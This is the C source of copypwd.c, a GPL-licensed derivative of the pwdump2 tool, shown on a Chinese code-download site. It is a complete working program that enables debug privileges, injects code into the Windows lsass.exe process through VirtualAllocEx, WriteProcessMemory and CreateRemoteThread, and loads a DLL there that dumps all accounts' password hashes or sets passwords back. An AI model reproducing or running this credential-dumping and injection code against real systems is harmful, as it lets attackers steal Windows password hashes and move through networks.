⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 copypwd.c

📁 CopyPwd is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even th
💻 C
字号:
/***************************************************************************
 * 
 * File:    copypwd.c
 * 
 * Purpose: Either dump the name/password hashes of all user accounts to a 
 *          file (dump mode), or read the contents of a file and set the
 *          password back
 *
 * Date:    January 4, 2002
 *
 * (C) Todd Sabin 1997,1998,2000  All rights reserved.
 * (C) SystemTools Software, Inc. All rights reserved.  http://www.systemtools.com
 * 
 * This program is a minor modification of the original work of Todd Sabin's
 * "pwdump2" utility, and as such is subject to redistribution and modification
 * terms only under the terms of the GNU license agreement.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 ***************************************************************************/


#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <stdlib.h>
#include "copypwd.h"


// Prototypes
int EnableDebugPriv (void);
void InjectDll (HANDLE hProc, BOOL Dumping);
void ReceiveOutput (HANDLE hEvent);

void Usage (char *app)
{
    printf ("\nUsage: %s <DUMP | SET> [pid of lsass.exe]\n", app);
	printf ("Copyright 2002 SystemTools Software Inc.\n");
	printf ("http://www.systemtools.com\n\n");
	printf ("see ReadMe.htm for full documentation\n");
    exit (1);
}


extern int find_pid (DWORD *ppid);

int main (int argc, char *argv[])
{
    HANDLE hLsassProc;
    HANDLE hReceiveThread;
    HANDLE hEvent;
    DWORD dwIgnored;
    DWORD dwErr;
    DWORD dwPid = 0;
	BOOL Dumping;

    // Parse arguments.  should replace this junk with getopt...
    if (argc == 3)
    {
        dwPid = atoi (argv[2]);
        if (dwPid == 0)
            Usage (argv[0]);
    } 
	else if (argc == 2) 
	{
        if (!find_pid (&dwPid)) 
		{
            printf ("Unable to find lsass.exe pid automatically.\n"
                    "You need to specify on the command line\n");
            exit (1);
        }
    } 
	else
        Usage (argv[0]);

	// The second argument has our option...validate and set flag
	if (_stricmp(argv[1], "DUMP") == 0)
		Dumping = TRUE;
	else if (_stricmp(argv[1], "SET") == 0)
		Dumping = FALSE;
	else
		Usage (argv[0]);

    // Enable the debug privilege
    if (EnableDebugPriv () != 0)
        fprintf (stderr, "Failed enabling Debug privilege.  Proceeding anyway\n");

    // Open lsass
    hLsassProc = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hLsassProc == 0)
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Failed to open lsass: %d.  Exiting.\n", dwErr);
        exit (1);
    }

    // Prepare the receive the output
    hEvent = CreateEvent (NULL, 0, 0, NULL);
    hReceiveThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) ReceiveOutput, hEvent, 0, &dwIgnored);
    if (!hReceiveThread)
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Failed to create receiving thread: %d.  Exiting\n", dwErr);
        exit (1);
    }

    // Wait for the child thread to create the pipe
    if (WaitForSingleObject (hEvent, 10000) != ERROR_SUCCESS)
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Failed starting listen on pipe: %d.  Exiting\n", dwErr);
        exit (1);
    }

    // Inject the dll
    InjectDll (hLsassProc, Dumping);

    // Wait for our child thread
    WaitForSingleObject (hReceiveThread, INFINITE);

    return 0;
}

// Try to enable the debug privilege
int EnableDebugPriv (void)
{
    HANDLE hToken = 0;
    DWORD dwErr = 0;
    TOKEN_PRIVILEGES newPrivs;

    if (!OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Unable to open process token: %d\n", dwErr);
        goto exit;
    }

    if (!LookupPrivilegeValue (NULL, SE_DEBUG_NAME, &newPrivs.Privileges[0].Luid))
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Unable to lookup privilege: %d\n", dwErr);
        goto exit;
    }

    newPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    newPrivs.PrivilegeCount = 1;
    
    if (!AdjustTokenPrivileges (hToken, FALSE, &newPrivs, 0, NULL, NULL))
    {
        dwErr = GetLastError ();
        fprintf (stderr, "Unable to adjust token privileges: %d\n", dwErr);
        goto exit;
    }

exit:
    if (hToken)
        CloseHandle (hToken);

    return dwErr;
}

// This is the function used to load the dll in lsass
static DWORD RemoteFunction (REMOTE_INFO *pInfo)
{
    HINSTANCE hDll;
    pDumpSam_t pDumpSam;
    int rc = -1;

    hDll = pInfo->pLoadLibrary (pInfo->szDllName);
    if (hDll != NULL)
    {
        pDumpSam = (pDumpSam_t) pInfo->pGetProcAddress (hDll, pInfo->szProcName);
        if (pDumpSam != 0)
            rc = pDumpSam (pInfo->szPipeName, pInfo->szCurrentDirectory);
        pInfo->pFreeLibrary (hDll);
    }
    return rc;
}

// This is just a dummy used to get the address after RemoteFunction
static void DummyFunc (void)
{
    return;
}


void InjectDll (HANDLE hProc, BOOL Dumping)
{
    DWORD dwFuncSize;
    DWORD dwBytesToAlloc;
    LPVOID pRemoteAlloc = NULL;
    REMOTE_INFO remInfo;
    HINSTANCE hKernel32;
    CHAR szDllName[MAX_PATH];
    DWORD dwBytesWritten;
    HANDLE hRemoteThread = 0;
    DWORD dwIgnored;

    // Prepare the info to send across
    hKernel32 = LoadLibrary ("Kernel32");
    remInfo.pLoadLibrary = (pLoadLib_t) GetProcAddress (hKernel32, "LoadLibraryA");
    remInfo.pGetProcAddress = (pGetProcAddr_t) GetProcAddress (hKernel32, "GetProcAddress");
    remInfo.pFreeLibrary = (pFreeLib_t) GetProcAddress (hKernel32, "FreeLibrary");

    GetModuleFileName (NULL, szDllName, sizeof (szDllName));
    strcpy (strrchr (szDllName, '\\') + 1, "copypwd.dll");
    strncpy (remInfo.szDllName, szDllName, sizeof (remInfo.szDllName));
	if (Dumping)
		strncpy (remInfo.szProcName, "DumpSam", sizeof (remInfo.szProcName));
	else
		strncpy (remInfo.szProcName, "SetPass", sizeof (remInfo.szProcName));
    _snprintf (remInfo.szPipeName, sizeof (remInfo.szPipeName), "\\\\.\\pipe\\copypwd-%d", GetCurrentProcessId ());
	GetCurrentDirectory (sizeof (remInfo.szCurrentDirectory), remInfo.szCurrentDirectory);

    // Determine amount of memory to allocate
    dwFuncSize = (DWORD)DummyFunc - (DWORD)RemoteFunction;
    dwBytesToAlloc = dwFuncSize + sizeof (REMOTE_INFO) + 4;

    // Allocate memory in remote proc
    pRemoteAlloc = VirtualAllocEx (hProc, NULL, dwBytesToAlloc, MEM_COMMIT, PAGE_READWRITE);
    if (pRemoteAlloc == NULL)
    {
        fprintf (stderr, "VirtualAllocEx failed: %d\n", GetLastError ());
        return;
    }
    
    // Write data to the proc
    if (!WriteProcessMemory (hProc, pRemoteAlloc, &remInfo, sizeof (remInfo),
                             &dwBytesWritten))
    {
        fprintf (stderr, "WriteProcessMemory failed: %d\n", GetLastError ());
        goto exit;
    }

    // Write code to the proc
    if (!WriteProcessMemory (hProc,
                             (PBYTE)pRemoteAlloc + sizeof (REMOTE_INFO) + 4,
                             (LPVOID)(DWORD)RemoteFunction, dwFuncSize,
                             &dwBytesWritten))
    {
        fprintf (stderr, "WriteProcessMemory failed: %d\n", GetLastError ());
        goto exit;
    }

    // Create the remote thread
    hRemoteThread = CreateRemoteThread (hProc, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)((PBYTE) pRemoteAlloc + sizeof (REMOTE_INFO) + 4),
                                        pRemoteAlloc, 0, &dwIgnored);
    if (!hRemoteThread)
    {
        fprintf (stderr, "CreateRemoteThread failed: %d\n", GetLastError ());
        goto exit;
    }

    // Wait for the thread
    WaitForSingleObject (hRemoteThread, INFINITE);

exit:
    if (hRemoteThread)
        CloseHandle (hRemoteThread);
    // Free the memory
    VirtualFreeEx (hProc, pRemoteAlloc, 0, MEM_RELEASE);
}


// This function receives the output from lsass via a named pipe
void ReceiveOutput (HANDLE hEvent)
{
    HANDLE hPipe;
    CHAR szPipeName[MAX_PATH];

    // Create the pipe
    _snprintf (szPipeName, sizeof (szPipeName), "\\\\.\\pipe\\copypwd-%d", GetCurrentProcessId ());
    hPipe = CreateNamedPipe (szPipeName,
                             PIPE_ACCESS_INBOUND
                             | FILE_FLAG_WRITE_THROUGH,
                             PIPE_TYPE_BYTE | PIPE_WAIT,
                             1, DUMP_PIPE_SIZE, DUMP_PIPE_SIZE,
                             10000, NULL);
    if (!hPipe)
    {
        fprintf (stderr, "Failed to create the pipe: %d\n", GetLastError ());
        return;
    }

    // Tell the main thread we're ready to go
    SetEvent (hEvent);

    if (ConnectNamedPipe (hPipe, NULL) || (GetLastError () == ERROR_PIPE_CONNECTED))
    {
        BYTE buff[DUMP_PIPE_SIZE+1];
        DWORD dwRead;
        DWORD dwErr = ERROR_SUCCESS;

        do
        {
            if (ReadFile (hPipe, buff, sizeof (buff) -1, &dwRead, NULL))
            {
                buff[dwRead] = '\0';
                printf ("%s", buff);
            }
            else
                dwErr = GetLastError ();
        } 
		while (dwErr != ERROR_BROKEN_PIPE);
    }
    else
    {
        fprintf (stderr, "Failed to connect the pipe: %d\n", GetLastError ());
        CloseHandle (hPipe);
        return;
    }
    DisconnectNamedPipe (hPipe);
    CloseHandle (hPipe);
    return;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -